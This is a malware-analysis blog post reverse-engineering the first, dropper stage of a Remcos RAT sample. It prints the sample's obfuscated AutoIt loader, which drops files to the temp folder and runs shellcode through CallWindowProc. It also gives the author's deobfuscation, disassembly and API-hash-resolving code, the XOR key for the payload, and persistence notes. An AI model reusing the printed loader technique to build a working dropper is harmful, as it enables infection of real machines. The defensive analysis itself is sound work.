Skip to main content

RemcosRat Dropper Stage

·1482 words·7 mins·
Reversing Malware Malware Analysis Reverse Engineering Remcos RAT
Sidharth AKA retr0ds
Author
Sidharth AKA retr0ds
Malware analyst
Table of Contents

Malware Analysis - RemcosRAT
#

So this blog is the first stage of my analysis of the Remcos RAT, I obtained this sample frmo malware bazaar. This contains the first stage of the malware, which is essentially a dropper stage of the malware

File Hash :
#

7440ef0eba8981a16f223b10ccccd80671001258b5fd8e95e43161de32b1157d

Detect it Easy :
#

image

CFF
#

image

it shows there’s something hiding inside .data as the size difference highlighted here is pretty significant

Also we see AutoIt is being used to perform some form of packing/encryption, which ties in well with the suspicious .data file

Essentially autioIt is a scripting language that helps us automate keystrokes, mouse movement, application windows etc. correlated to GUI

To learn more about AUTO_IT:https://www.autoitscript.com/site/autoit/

So we go ahead and use

AUTO IT RIPPER
#

Using Auto It Ripper

AutoIt Script :
#

#NoTrayIcon
FileInstall ( "Gehman" , @TempDir & "\Gehman" , 1 )
$YZBWDFOHF = EUQOQQURZ ( FileRead ( @TempDir & "\Gehman" ) )
$GWLGSEMT = DllCall ( EUQOQQURZ ( "lfsofm43" ) , EUQOQQURZ ( "qus" ) , EUQOQQURZ ( "WjsuvbmBmmpd" ) , EUQOQQURZ ( "expse" ) , EUQOQQURZ ( "1" ) , EUQOQQURZ ( "expse" ) , BinaryLen ( $YZBWDFOHF ) , EUQOQQURZ ( "expse" ) , EUQOQQURZ ( "1y4111" ) , EUQOQQURZ ( "expse" ) , EUQOQQURZ ( "1y51" ) ) [ 0 ]
$GOKCQHWSA = DllStructCreate ( EUQOQQURZ ( "czuf!\" ) & BinaryLen ( $YZBWDFOHF ) & EUQOQQURZ ( "^" ) , $GWLGSEMT )
FileInstall ( "vehiculation" , @TempDir & "\vehiculation" , 1 )
DllStructSetData ( $GOKCQHWSA , 1 , $YZBWDFOHF )
DllCall ( "user32.dll" , "ptr" , "CallWindowProc" , "ptr" , $GWLGSEMT + 9248 , "ptr" , 0 , "ptr" , 0 , "ptr" , 0 , "ptr" , 0 )

		
Func EUQOQQURZ ( $MTMLSQXJW )
	Local $SHQXAENA = ""
	For $QHCVRWGVOP = 1 To StringLen ( $MTMLSQXJW )
		Local $ANHBBPGF = Asc ( StringMid ( $MTMLSQXJW , $QHCVRWGVOP , 1 ) )
		$SHQXAENA &= Chr ( $ANHBBPGF - ( 1 ^ $QHCVRWGVOP ) )
	Next
	Return $SHQXAENA
EndFunc

:::

Python Script to partially deobfuscate
#

import re
re.compile(rEUQOQQURZ\s*\(\s*"([^"]+)"\s*\))
pattern = re.compile(r'EUQOQQURZ\s*\(\s*"([^"]+)"\s*\)')

def deobfuscate(s):
    clear_string = ''.join(chr(ord(i) - 1) for i in s)
    return clear_string
    
with open("Auoit_Remcos.au3", "r") as f:
    x = f.read()

def replacer(match):
    matched_string = match.group(1)
    deobfuscated_string = deobfuscate(matched_string)
    return f'EUQOQQURZ("{deobfuscated_string}")'

updated_file = pattern.sub(replacer, x)

with open('partially_deobfuscated_Autoit_Remcos.au3', 'w') as f2:
    f2.write(updated_file)

HEx string :

Capstone
#


from capstone import Cs, CS_ARCH_X86, CS_MODE_32
hex_data = "<insert hex string>"

raw_bytes = bytes.fromhex(hex_data)
shellcode_length = len(raw_bytes)
print(f"[+] Shellcode length: {shellcode_length} bytes")

with open("output.bin", "wb") as f:
    f.write(raw_bytes)

print("[+] Wrote raw bytes to output.bin")

# Captsone Disassembly
md = Cs(CS_ARCH_X86, CS_MODE_32)
assembly_output = []

for ins in md.disasm(raw_bytes, 0x1000):
    line = f"0x{ins.address:08x}: {ins.mnemonic} {ins.op_str}"
    assembly_output.append(line)


with open("output.asm", "w", encoding="utf-8") as f:
    f.write("\n".join(assembly_output))

print("[+] Wrote disassembly to output.asm")

We use ida to open it now and see that around the offset of 9248 ie 0x2420 we have the name of the other file being referred to here, and we see it calling some functions to call certain dll’s

Decompiling and revesing in IDA we see it is doing API hashing, it first traverses PEB etc. to get to kernel32.dll and then gets load library A which is uses for all other imports form other DLLs such as advapi32.dll, shell32.dll etc.

we write a c script that shows it for us accordinly

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <windows.h>

unsigned int __stdcall Addr_mangler(unsigned char* Address)
{
    int v2; // [esp+24h] [ebp-Ch]
    unsigned int v3; // [esp+2Ch] [ebp-4h]
    unsigned int v4; // [esp+2Ch] [ebp-4h]

    v2 = 0;
    v3 = 0xFFFFFFFF;

    while (Address[v2])
    {
        v4 = (unsigned __int8)Address[v2] ^ v3;

        v3 =
            ((char)v4 >> 7) & 0xEDB88320 ^
            ((int)(v4 << 25) >> 31) & 0x76DC4190 ^
            ((int)(v4 << 26) >> 31) & 0x3B6E20C8 ^
            ((int)(v4 << 27) >> 31) & 0x1DB71064 ^
            ((int)(v4 << 28) >> 31) & 0x0EDB8832 ^
            ((int)(v4 << 29) >> 31) & 0x076DC419 ^
            ((int)(v4 << 30) >> 31) & 0xEE0E612C ^
            ((int)(v4 << 31) >> 31) & 0x77073096 ^
            (v4 >> 8);

        ++v2;
    }
    return ~v3;
}


uint8_t* load_file(const char* path, DWORD* out_size)
{
    FILE* f = NULL;
    fopen_s(&f, path, "rb");
    if (!f) return NULL;

    fseek(f, 0, SEEK_END);
    DWORD size = ftell(f);
    fseek(f, 0, SEEK_SET);

    uint8_t* buf = (uint8_t*)malloc(size);
    fread(buf, 1, size, f);
    fclose(f);

    *out_size = size;
    return buf;
}


DWORD rva_to_offset(DWORD rva, IMAGE_SECTION_HEADER* sec, int count)
{
    for (int i = 0; i < count; i++)
    {
        DWORD start = sec[i].VirtualAddress;
        DWORD end = start + sec[i].Misc.VirtualSize;

        if (rva >= start && rva < end)
            return sec[i].PointerToRawData + (rva - start);
    }
    return 0;
}


int main(int argc, char** argv)
{
    if (argc != 2) {
        printf("Usage: %s <dll_path>\n", argv[0]);
        return 1;
    }

    // Values to match against
    // kernel32.dll
    //uint32_t targets[] = { 0x5C856C47, 0x649EB9C1,0xF7C7AE42,0x5688CBD8,0x9CE0D4A,0x5EDB1D72,0x40F6426D,0xB0F6E8A9,0x8436F795,0x19E65DB6,0x5B4219F8,0xCEF2EDA8,0xC4B4A94D,0x8B5819AE,0xAD56B042,0xAB40BF8D,0x759903FC,0xF29DDD0C,0x5AD76A06,0xCCE95612,0x251097CC,0xFC6B42F1,0xD9B20494,0xB09315F4,0x2E50340B,0xA1EFE929,0x95C03D0,0xA7FB4165,0xCD53F5DD,0xCB1508DC,0x3FC1BD8D,0x4552D021,0xC97C1FFF,0xE058BB45,0x906A06B0,0x7A3A310,0x80AF62E1
//    };

    // advapi32.dll
    //uint32_t targets[] = { 0x5C969BF4, 0xA8403ACE, 0xD78C27BF };

    //user32.dll
    //uint32_t targets[] = { 0x89606806 };

    //shell32.dll
    //uint32_t targets[] = { 0xC7652B3F , 0x74BAEF5F }
    // 
    // shlwapi.dll;
    uint32_t targets[] = { 0xAA7B1778 };

    int target_count = sizeof(targets) / sizeof(targets[0]);
    printf("TARGET COUNT : %d\n", target_count);
    DWORD size;
    uint8_t* data = load_file(argv[1], &size);
    if (!data) {
        printf("Could not read file.\n");
        return 1;
    }

    IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)data;
    if (dos->e_magic != IMAGE_DOS_SIGNATURE) {
        printf("Invalid MZ.\n");
        return 1;
    }

    IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(data + dos->e_lfanew);
    if (nt->Signature != IMAGE_NT_SIGNATURE) {
        printf("Invalid PE.\n");
        return 1;
    }

    IMAGE_FILE_HEADER* fh = &nt->FileHeader;
    IMAGE_OPTIONAL_HEADER* opt = &nt->OptionalHeader;

    IMAGE_SECTION_HEADER* sections = (IMAGE_SECTION_HEADER*)
        ((BYTE*)&nt->OptionalHeader + fh->SizeOfOptionalHeader);

    DWORD exp_rva = opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    if (!exp_rva) {
        printf("No export table.\n");
        return 1;
    }

    DWORD exp_off = rva_to_offset(exp_rva, sections, fh->NumberOfSections);
    IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(data + exp_off);

    DWORD name_count = exp->NumberOfNames;

    DWORD funcs_rva = exp->AddressOfFunctions;
    DWORD names_rva = exp->AddressOfNames;
    DWORD ords_rva = exp->AddressOfNameOrdinals;

    DWORD funcs_off = rva_to_offset(funcs_rva, sections, fh->NumberOfSections);
    DWORD names_off = rva_to_offset(names_rva, sections, fh->NumberOfSections);
    DWORD ords_off = rva_to_offset(ords_rva, sections, fh->NumberOfSections);

    DWORD* funcs = (DWORD*)(data + funcs_off);
    DWORD* names = (DWORD*)(data + names_off);
    WORD* ords = (WORD*)(data + ords_off);

    printf("\nScanning exports of %s\n", argv[1]);
    printf("-----------------------------------------------\n");

    for (DWORD i = 0; i < name_count; i++)
    {
        DWORD name_rva = names[i];
        DWORD name_off = rva_to_offset(name_rva, sections, fh->NumberOfSections);

        unsigned char* name = (unsigned char*)(data + name_off);

        WORD ordinal = ords[i];
        DWORD func_rva = funcs[ordinal];

        uint32_t hv = Addr_mangler(name);

        for (int t = 0; t < target_count; t++)
        {
            if (hv == targets[t])
            {
                printf("[MATCH] %-35s RVA=0x%08X Hash=0x%08X\n",
                    name, func_rva, hv);
            }
        }
    }

    free(data);
    return 0;
}

This gets us

C:\Users\A\source\repos\Remcos_Exports_Extractor\x64\Release>Remcos_Exports_Extractor.exe C:\Windows\System32\kernel32.dll TARGET COUNT : 37

Scanning exports of C:\Windows\System32\kernel32.dll
#

Function NameRVAHash
CloseHandle0x00056E400xB09315F4
CreateDirectoryW0x000570B00x759903FC
CreateFileW0x000570F00xA1EFE929
CreateProcessW0x0003C6800x5C856C47
CreateThread0x000331000x906A06B0
ExitProcess0x000418A00x251097CC
ExitThread0x000AB7D70x80AF62E1
GetCommandLineW0x00040F000xD9B20494
GetCurrentThread0x000235100x19E65DB6
GetFileAttributesW0x000573100xC4B4A94D
GetFileSize0x000573300xA7FB4165
GetFileSizeEx0x000573400x8B5819AE
GetModuleFileNameW0x0003C5800xFC6B42F1
GetModuleHandleW0x0003B4500x4552D021
GetProcAddress0x00033C700xC97C1FFF
GetProcessHeap0x00023F900x40F6426D
GetTempPathW0x000574100x07A3A310
GetThreadContext0x0003C6F00x649EB9C1
GetTickCount0x000186000x5B4219F8
HeapAlloc0x000AE8C40x5EDB1D72
HeapFree0x000249800xB0F6E8A9
IsDebuggerPresent0x0003D9A00x8436F795
IsWow64Process0x000382900x2E50340B
LoadLibraryA0x00042D800x3FC1BD8D
LoadLibraryW0x0003F7C00xCB1508DC
QueryPerformanceCounter0x00023FB00xAD56B042
ReadFile0x000574B00x095C03D0
ReadProcessMemory0x0003B8300xF7C7AE42
SetThreadContext0x000450F00x5688CBD8
Sleep0x000319800xCEF2EDA8
TerminateProcess0x000425A00xAB40BF8D
VirtualAlloc0x00033C900x09CE0D4A
VirtualFree0x00035BF00xCD53F5DD
WaitForSingleObject0x000570300xE058BB45
WriteFile0x000575C00xCCE95612
lstrcatW0x000351100xF29DDD0C
lstrcpyW0x00033D100x5AD76A06

C:\Users\A\source\repos\Remcos_Exports_Extractor\x64\Release>Remcos_Exports_Extractor.exe C:\Windows\System32\advapi32.dll TARGET COUNT : 3

Scanning exports of C:\Windows\System32\advapi32.dll
#

Function NameRVAHash
CryptAcquireContextW0x000322A00x5C969BF4
CryptGenRandom0x000340C00xD78C27BF
CryptReleaseContext0x000342000xA8403ACE

C:\Users\A\source\repos\Remcos_Exports_Extractor\x64\Release>Remcos_Exports_Extractor.exe C:\Windows\System32\user32.dll TARGET COUNT : 1

Scanning exports of C:\Windows\System32\user32.dll
#

Function NameRVAHash
GetCursorPos0x00050C700x89606806

C:\Users\A\source\repos\Remcos_Exports_Extractor\x64\Release>Remcos_Exports_Extractor.exe C:\Windows\System32\shell32.dll TARGET COUNT : 2

Scanning exports of C:\Windows\System32\shell32.dll
#

Function NameRVAHash
CommandLineToArgvW0x0015FEB00x74BAEF5F
SHGetFolderPathW0x001580900xC7652B3F

Scanning exports of C:\Windows\System32\shlwapi.dll
#

Function NameRVAHash
PathCombineW0x0000F1000xAA7B1778

But these function addresses that are properply calculated with the RVA + base adddress are properly filled into an array which is what is returned, and in the array it’s all a bit in a different order

So the final function array is this

Function Array
#

IndexFunctionA value
0CreateProcessWa1
1GetCursorPosa2
2Sleepa3
3GetTickCount
4GetThreadContext
5SetThreadContext
6VirtualAlloc
7PathCombineW
8GetTempPathW
9lstrcpyW
10lstrcatW
11CreateDirectoryW
12WriteFile
13SHGetFolderPathW
14HeapAlloc
15CommandLineToArgvW
16GetProcessHeap
17
18HeapFree
19GetFileAttributesW
20GetFileSizeEx
21QueryPerformanceCounter
22IsDebuggerPresent
23GetCurrentThread
24
25
26TerminateProcess
27ExitProcess
28ReadProcessMemory
29GetModuleFileNameW
30GetCommandLineW
31
32CloseHandlea28
33IsWow64Processa29
34CreateFileWa30
35ReadFilea31
36GetFileSizea32
37VirtualFreea33
38LoadLibraryA
39LoadLibraryW
40CryptAcquireContextW
41CryptGenRandom
42CryptReleaseContext
43GetModuleHandleW
44GetProcAddress
45WaitForSingleObject
46CreateThread
47ExitThread

VB script in startup folder, to run isochronal

Temp has gdehman and vehiculation

C:\Users\Ryuzaki\AppData\Local\porcelainization has isochronal

Vehicualtion Decrypt
#

key = b'BTXMXI3AJ3ZMW7CF'
decrypted_veh_bytes = b''
for i,j in zip(veh_bytes, cycle(key)):
    decrypted_veh_bytes += xor(i,j)
# we get an MZ file
with open('vehiculation_decryped', 'wb') as w:
    w.write(decrypted_veh_bytes)

004C476BE056BD3794B2EE1F460C00A5 - License code

In the next part we shall go ahead and analyse the decrypted VEH bytes that contain the essence of the malware

Related

Telegram C2 InfoStealer
·5021 words·24 mins
Reversing Malware Malware Analysis Reverse Engineering
Popping a calculator - 32 bit - Part 3/3
·1010 words·5 mins
Reversing Blog Shellcode Windows Pop_a_calc Series
Popping a calculator - 64 bit - Part 2/3
·3827 words·18 mins
Reversing Blog Shellcode Windows Series Pop_a_calc